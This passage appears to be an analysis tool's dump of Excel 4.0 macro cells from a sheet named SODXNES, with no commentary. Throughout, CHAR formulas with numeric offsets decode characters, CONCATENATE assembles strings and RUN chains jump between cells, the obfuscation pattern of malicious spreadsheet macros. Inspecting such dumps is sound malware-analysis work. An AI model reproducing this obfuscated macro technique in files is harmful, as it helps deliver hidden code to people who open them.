'  SODXNES,EG1554,CONCATENATE(JA871),""
'  SODXNES,FL1554,"",368.00000000000000000000
'  SODXNES,FG1567,"",80.00000000000000000000
'  SODXNES,HG1570,CHAR(BL1571-282),""
'  SODXNES,IZ1570,RUN(HL1412),""
'  SODXNES,BL1571,"",347.00000000000000000000
'  SODXNES,GP1571,RUN(IR1738),""
'  SODXNES,HO1576,CHAR(BH1294-315),""
'  SODXNES,HO1577,RUN(IV1548),""
'  SODXNES,JM1586,"",10.00000000000000000000
'  SODXNES,HV1589,"",74.00000000000000000000
'  SODXNES,BY1591,"",186.00000000000000000000
'  SODXNES,BV1592,"",28.00000000000000000000
'  SODXNES,HN1596,"",40.00000000000000000000
'  SODXNES,FT1599,"",413.00000000000000000000
'  SODXNES,BX1600,"",54.00000000000000000000
'  SODXNES,DE1602,RUN(EF971),""
'  SODXNES,EZ1608,RUN(FE1023),""
'  SODXNES,BC1609,"",92.00000000000000000000
'  SODXNES,S1612,"",56.00000000000000000000
'  SODXNES,EA1612,CHAR(IT855-94),""
'  SODXNES,CG1625,"",21.00000000000000000000
'  SODXNES,FU1629,CHAR(HF750-282),""
'  SODXNES,EM1634,RUN(HG648),""
'  SODXNES,IR1638,CHAR(EG1330-282),""
'  SODXNES,JB1642,"",211.00000000000000000000
'  SODXNES,JM1642,CHAR(HH1131-94),""
'  SODXNES,BQ1649,"",434.00000000000000000000
'  SODXNES,HF1649,RUN(GT1358),""
'  SODXNES,FW1650,"",67.00000000000000000000
'  SODXNES,FS1653,CHAR(CQ520-94),""
'  SODXNES,R1655,"",47.00000000000000000000
'  SODXNES,IR1658,"",362.00000000000000000000
'  SODXNES,EF1659,"",48.00000000000000000000
'  SODXNES,HK1661,CHAR(IT1251-282),""
'  SODXNES,HE1663,"",54.00000000000000000000
'  SODXNES,DW1671,"",361.00000000000000000000
'  SODXNES,JJ1672,RUN(DD965),""
'  SODXNES,IM1673,CHAR(DJ14-315),""
'  SODXNES,IM1674,RUN(HS63),""
'  SODXNES,U1679,CHAR(FN1087-282),""
'  SODXNES,CG1683,CHAR(HV336-764),""
'  SODXNES,Z1684,"",48.00000000000000000000
'  SODXNES,DB1687,RUN(GK1291),""
'  SODXNES,IC1687,"",78.00000000000000000000
'  SODXNES,GZ1688,"",60.00000000000000000000
'  SODXNES,X1690,RUN(HV1478),""
'  SODXNES,DH1691,"",872.00000000000000000000
'  SODXNES,Q1698,"",209.00000000000000000000
'  SODXNES,CL1700,"CONCATENATE(D355,CG526,IN1126,CA292,EJ1439,FF1978,F449,JK426,IM975,DE195,BJ1843,IP494,HK1661)",""
'  SODXNES,FY1702,RUN(DU216),""
'  SODXNES,DQ1703,"",39.00000000000000000000
'  SODXNES,FV1706,CHAR(JB1642-94),""
'  SODXNES,IQ1706,CHAR(W1806-282),""
'  SODXNES,P1707,RUN(ID1831),""
'  SODXNES,CA1707,RUN(HR499),""
'  SODXNES,BZ1710,"",9.00000000000000000000
'  SODXNES,F1712,CHAR(GQ251-764),""
'  SODXNES,O1713,CHAR(IN263-94),""
'  SODXNES,BZ1723,"",25.00000000000000000000
'  SODXNES,ED1726,"",435.00000000000000000000
'  SODXNES,GH1727,RUN(IC1315),""
'  SODXNES,HZ1728,"",186.00000000000000000000
'  SODXNES,GZ1729,CHAR(DS1755-315),""
'  SODXNES,GZ1730,RUN(BP355),""
'  SODXNES,IR1738,RUN(DI1034),""
'  SODXNES,IN1744,CHAR(BQ1649-315),""
'  SODXNES,IN1745,RUN(HH276),""
'  SODXNES,IX1753,CHAR(K918-94),""
'  SODXNES,DD1754,"",85.00000000000000000000
'  SODXNES,DS1755,"",417.00000000000000000000
'  SODXNES,BB1757,"",64.00000000000000000000
'  SODXNES,BJ1760,RUN(CG1221),""
'  SODXNES,BL1769,RUN(EW1894),""
'  SODXNES,GU1769,"",370.00000000000000000000
'  SODXNES,EX1772,"",350.00000000000000000000
'  SODXNES,FR1777,"",51.00000000000000000000
'  SODXNES,JH1778,CHAR(BI1179-315),""
'  SODXNES,JH1779,RUN(HI1518),""
'  SODXNES,CX1783,CHAR(O1877-315),""
'  SODXNES,CX1784,RUN(EE170),""
'  SODXNES,CR1793,CHAR(IG1498-315),""
'  SODXNES,EM1793,"",29.00000000000000000000
'  SODXNES,CR1794,RUN(HF1332),""
'  SODXNES,BS1795,CHAR(G103-315),""
'  SODXNES,BS1796,RUN(EP1236),""
'  SODXNES,S1798,RUN(FJ269),""
'  SODXNES,DD1798,RUN(ES1948),""
'  SODXNES,DD1799,"",2.00000000000000000000
'  SODXNES,DM1804,"",872.00000000000000000000
'  SODXNES,W1806,"",393.00000000000000000000
'  SODXNES,GM1810,RUN(ER1148),""
'  SODXNES,BV1814,RUN(EX174),""
'  SODXNES,CH1822,RUN(Q116),""
'  SODXNES,HU1822,"",53.00000000000000000000
'  SODXNES,Y1823,"",216.00000000000000000000
'  SODXNES,E1825,RUN(IS1896),""
'  SODXNES,DR1828,"",57.00000000000000000000
'  SODXNES,IV1828,"",27.00000000000000000000
'  SODXNES,ID1831,RUN(FW297),""
'  SODXNES,FM1841,"",11.00000000000000000000
'  SODXNES,IO1842,"",383.00000000000000000000
'  SODXNES,BJ1843,CHAR(E851-282),""
'  SODXNES,DM1848,"",88.00000000000000000000
'  SODXNES,Z1857,"",367.00000000000000000000
'  SODXNES,H1869,"",37.00000000000000000000
'  SODXNES,CY1872,"",97.00000000000000000000
'  SODXNES,O1877,"",414.00000000000000000000
'  SODXNES,CL1877,"",390.00000000000000000000
'  SODXNES,R1887,CHAR(GT1536-315),""
'  SODXNES,R1888,RUN(HP1905),""
'  SODXNES,IW1890,"",63.00000000000000000000
'  SODXNES,HH1891,"",33.00000000000000000000
'  SODXNES,Y1894,"",33.00000000000000000000
'  SODXNES,ES1894,"",18.00000000000000000000
'  SODXNES,EW1894,RUN(P1707),""
'  SODXNES,HT1895,RUN(GE1131),""
'  SODXNES,IS1896,RUN(CA1707),""
'  SODXNES,FG1898,"",0.00000000000000000000
'  SODXNES,DY1899,"",20.00000000000000000000
'  SODXNES,L1900,RUN(DD300),""
'  SODXNES,FY1902,"",849.00000000000000000000
'  SODXNES,EP1904,"",195.00000000000000000000
'  SODXNES,HP1905,CHAR(EF596-315),""
'  SODXNES,HP1906,RUN(IM1673),""
'  SODXNES,IQ1908,"CONCATENATE(S319,U1679,BK695,DS751,EN1430,EL1461,DS872,IL342,DY1291,IO1344,FP275,JN970,IQ1706,FU1629,IR1638,BL1927,BY471,HG1570)",""
'  SODXNES,IX1912,"",367.00000000000000000000
'  SODXNES,H1922,"",416.00000000000000000000
'  SODXNES,CZ1922,"",98.00000000000000000000
'  SODXNES,IZ1924,"",429.00000000000000000000
'  SODXNES,BL1927,CHAR(FJ554-282),""
'  SODXNES,FP1927,"",97.00000000000000000000
'  SODXNES,ET1931,"",39.00000000000000000000
'  SODXNES,IE1932,"",14.00000000000000000000
'  SODXNES,GH1937,CHAR(CJ155-315),""
'  SODXNES,GH1938,RUN(R1887),""
'  SODXNES,IX1938,"CONCATENATE(CG1683,CE974,HJ338,L940,BS1177,FC778,HT591)",""
'  SODXNES,ER1942,"",89.00000000000000000000
'  SODXNES,IW1943,RUN(FF1974),""
'  SODXNES,ES1948,RUN(L1900),""
'  SODXNES,F1954,"",365.00000000000000000000
'  SODXNES,DZ1957,"",176.00000000000000000000
'  SODXNES,EG1963,"",15.00000000000000000000
'  SODXNES,IJ1966,RUN(FV301),""
'  SODXNES,DB1968,"",358.00000000000000000000
'  SODXNES,DV1968,CHAR(HR1162-315),""
'  SODXNES,DV1969,RUN(JC451),""
'  SODXNES,GL1972,"",90.00000000000000000000
'  SODXNES,BW1973,RUN(IF1461),""
'  SODXNES,FF1974,RUN(DV900),""
'  SODXNES,ER1978,RUN(B1239),""
'  SODXNES,FF1978,CHAR(IP1428-282),""
'  SODXNES,FY1982,"",60.00000000000000000000
'  SODXNES,V1983,CHAR(FH583-315),""
'  SODXNES,FY1983,"",74.00000000000000000000
'  SODXNES,V1984,RUN(GH1937),""
'  SODXNES,DS1990,RUN(EQ204),""